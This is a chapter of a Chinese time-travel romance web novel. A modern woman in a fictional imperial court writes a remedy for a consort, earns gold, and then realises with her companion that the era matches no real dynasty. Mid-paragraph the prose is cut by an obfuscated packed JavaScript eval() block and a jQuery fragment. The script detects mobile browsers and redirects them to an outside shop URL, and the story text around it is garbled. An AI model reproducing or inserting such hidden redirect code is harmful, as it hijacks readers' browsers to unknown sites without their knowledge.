纸笔送到眼前时,苏菱月才后知后觉地意识到一个致命问题——这是古代,她要写方子,得用繁体字。
这一个月来虽然读了不少裴言的笔记,看了不少古书,认得繁体字,但写起来却还是很吃力。
苏菱月十分懊悔,都怪自己,每次做笔记都是简体繁体混着来,反正裴言看得懂,她也就偷懒惯了。现在好了,要在贵妃面前写繁体药方,否则自己的身份也会暴露。机关算尽,居然没想到这一环!
该死该死,苏菱月只觉得手里的笔有千斤重,迟迟动不了笔,手开始不自觉地颤抖。
“怎么不写?”贵妃见她一直不动,冷不丁发问。
苏菱月嘿嘿一笑,擦了擦额角的汗,像是做足了心理准备。她拈起笔,蘸了墨,落在纸上,会写的繁体字就写的清晰美观,笔画记不太清的字就按记忆画个大概出来,糊弄一下。
贵妃靠在软榻上,百无聊赖地拨弄着腕间的翡翠镯子,见苏菱月半天没写出几个字来,不由蹙眉,“怎么写这么慢?”
苏菱月后背一紧,赶紧低头,假装正在认真斟酌药方,嘴里还一边念叨着糊弄贵妃,“娘娘见谅,民女在确认剂量,这胡萝卜羹虽好,但红枣和枸杞的配比也得根据娘娘的体质微调,马虎不得。”
苏菱月自己都有些难绷,自己哪有在斟酌剂量,分明是在努力回忆那些繁体字的写法。
贵妃看着她眉头紧皱,对着纸发愣的样子,有些狐疑,“苏大夫,你该不会……不识字吧?”
“当然不是!”苏菱月猛地抬头,因为心虚而笑得格外灿烂,“民女只是……写字比较讲究,怕写得太潦草,娘娘看不清楚。”
贵妃挑眉,这人倒有趣,鬼话一套一套。只是看上去还有几分认真,她倒也没再追问,只是轻哼了一声,靠回榻上闭目养神去了。
苏菱月悄悄松了口气,低头继续跟那张药方较劲,到底是因为用毛笔次数不多,写起字来,笔迹时轻时重,字形忽大忽小,整张方子看起来歪歪扭扭,不像方子,倒像一张画。
但好歹是写完了,苏菱月松了一口气。她搁下笔,恭恭敬敬地将药方呈到贵妃面前,“娘娘请看,就是这个方子。每日一碗,连食半月,娘娘的目力必有改善。”
贵妃接过那张纸,扫了一眼,眉头微微一挑,表情十分微妙。苏菱月心内警铃大作,这表情让她想起自己被老师当年批改作业的场景。
“字有点难看,”贵妃张了张嘴,似乎还想说什么,但到底忍住了,只是把方子折好递给身边的宫女,淡淡道,“不过还算得上认真,本宫就姑且信你一回。”
苏菱月有些尴尬,信誓旦旦的在心里保证,等回去了就练字!不过好歹是过关了,她满心欢心,磕头如捣蒜,“多谢娘娘信任。”
“行了,你下去吧。”贵妃挥了挥手,语气又恢复了一贯的漫不经心,朝旁边的宫女示意,“兰若,取十两黄金来。”
十两黄金?苏菱月眼睛一下子瞪大了。进宫前不是没想过贵妃可能会赏赐东西,但万万没想到会是真金白银,还是十两!
苏菱月激动的嘴巴张成了o形,来这个世界快一个月了,最大的资产还是裴言给她的银票,但说到底是裴言的钱,拿在手里总有些不好意思花。
但现在这十两黄金是她自己挣的!靠给贵妃看夜盲症挣的!这可是她穿越以后真正的第一笔收入!
苏菱月眼神追随着黄金,直到那十两黄金被托着一只漆盘送到她面前时,苏菱月才回过神来,看着亮闪闪的黄金,她只觉得自己的呼吸都停了一拍。
十锭金灿灿的小元宝整整齐齐码在盘中,每一个都圆润小巧,闪着独属于黄金的色泽。苏菱月伸手去接时,指尖都在微微颤抖,好重!十两黄金拿在手里沉甸甸的,一想到这些钱都是自己的,她差点当场笑出声来。
“谢娘娘赏赐。”她恭恭敬敬地行礼,嘴角的弧度怎么也压不下去。十两黄金!换算成现代人民币得多少钱?虽然这个换算在古代毫无意义,但不妨碍她在心里偷偷开心。
“得了,瞧你那副不值钱的样子。”饶是贵妃平日冷酷惯了,此刻见到她那副掉进钱眼里的样子,也被逗乐了。“给本宫尽心尽力的做事,以后的好处少不了你的。”
“是是是,民女甘为娘娘效犬马之劳。”苏菱月这次是真心的。
“行了,那你走吧。本宫也乏了,要休息。”贵妃摆了摆手,示意她退下。
苏菱月也识趣地行礼告退,“民女告退。”
走出毓秀宫时,外面的天色已经微微泛黄,约摸过了两个时辰,已是月上西楼。
苏菱月拎着药箱,刚转过宫墙拐角,一眼就看见了等在廊下的裴言。
他站在一棵老槐树底下,一身淡青色的圆领袍,身形颀长,发丝被晚风拂得微微晃动。苏菱月远远望见他时,心里的欢喜又添了一层,脚步不自觉地加快了几分。
“学长!”她小跑过去,药箱里的金元宝随着她的步伐发出清脆的碰撞声。
裴言闻声抬头,目光先落在她脸上,确认她毫发无损后,才不动声色地松了口气。“回来就好,回来就好。”
“嗯!不仅回来了,还多了十两黄金!学长你看,我自己挣的!”苏菱月笑着打开药箱,里面金灿灿的,即便是在黑夜也能看得一清二楚,她脸上是压抑不住的雀跃,
裴言看着药箱,眼底漾开浅浅的笑意,“不错,比我预想中顺利。”
他接过她的药箱背在身上,又上下打量了她一番,确认她全须全尾才放下心来,“走吧,那我们回驿馆休息再说。”
回程的马车上,苏菱月把方才在毓秀宫里的经过从头到尾讲了一遍,从贵妃发脾气摔茶盏,到她英勇出头救下小宫女,再到望闻问切诊断出夜盲症,最后开出胡萝卜羹的方子。她说得眉飞色舞,手指比划着贵妃当时举瓷瓶的动作,学得惟妙惟肖。
裴言靠在车壁上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832447|211015||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
听她讲,唇角始终挂着一抹浅淡的笑意。直到她说完了,拿起茶盏灌了一大口水,他才缓缓开口,“你能看出贵妃是夜盲症,倒是出乎我的意料。很棒。”
“那是!”被他夸了,苏菱月更是开心,得意地扬起下巴,“我好歹也是认真学了一个月的。再说了,我现代的时候兽医课上也有关于动物缺乏维生素A的病例,这叫,一通百通。”
裴言点了点头,正想夸她两句,苏菱月却忽然安静了下来。
她端着茶盏的手悬在半空,脸上的笑容慢慢凝固,像是突然想起了什么极其重要的事情。
“……学长。”她的声音变得有些飘忽和茫然。
“嗯?怎么了?”裴言关切地看着她。
苏菱月放下茶盏,神色恍惚地看着他,“我方才跟贵妃说胡萝卜的时候,她居然说她小时候吃过?!”
裴言的动作微微一顿,神色紧张起来。
“她怎么会吃过呢!”苏菱月的眉头越皱越紧,手指无意识地绞着衣角,“胡萝卜……胡萝卜不是明朝才传入中国的吗?这个时代是什么年号来着?敬德十三年……”
她在脑海里飞速搜寻着历史课本里的内容,可敬德这个年号她完全没印象,“敬德……这到底是哪个朝代?好像没有吧?”
她语无伦次,语速也越来越快,“而且贵妃说她小时候吃过,那就说明她童年时期就有胡萝卜了,那这个时代的胡萝卜至少已经传入几十年了?这不对啊,历史课本上说胡萝卜是明朝才......”
她猛地顿住,瞳孔微缩,看向裴言的眼神里多了一丝不易察觉的恐慌和茫然。
裴言静静地听着她说完,没有立刻回答。他轻轻开口,声音比方才低了几分,“……我其实也想过这个问题。”
苏菱月愣愣地看着他,心里的茫然更甚,“我们这是在哪......”
此刻,她突然有种身处恐怖故事的错觉,未知的年号,不属于这个时代的产物,一切都这么令人掉san。
像是感受到她的恐惧,裴言往她那边倾了倾身,两人凑的更近了些,“我穿越来了一年多,做过很多次考证。敬德这个年号,在正史中查无记载。我曾经翻阅过这个时代的史书,发现很多历史事件和人物,和我记忆中的任何一个朝代都对不上。”
苏菱月的心跳骤然加快了,一种模糊的、隐隐的不安从心底浮上来,“你的意思是……”
“这个时代,”裴言的语气十分平静,像是早就接受了现实,但苏菱月听得出那平静底下压着的困惑和谨慎,“可能不是一个真实存在过的历史朝代。”
马车里安静了好一会儿,两人都没再说话,窗外是京城街道上熙熙攘攘的人声,和车内这短暂的沉默形成了鲜明对比。
苏菱月低着头,脑海里乱成一团。对未知的恐惧压倒性地产生。
如果,这个时代不是一个真实的历史朝代,那她是不是永远也回不去了?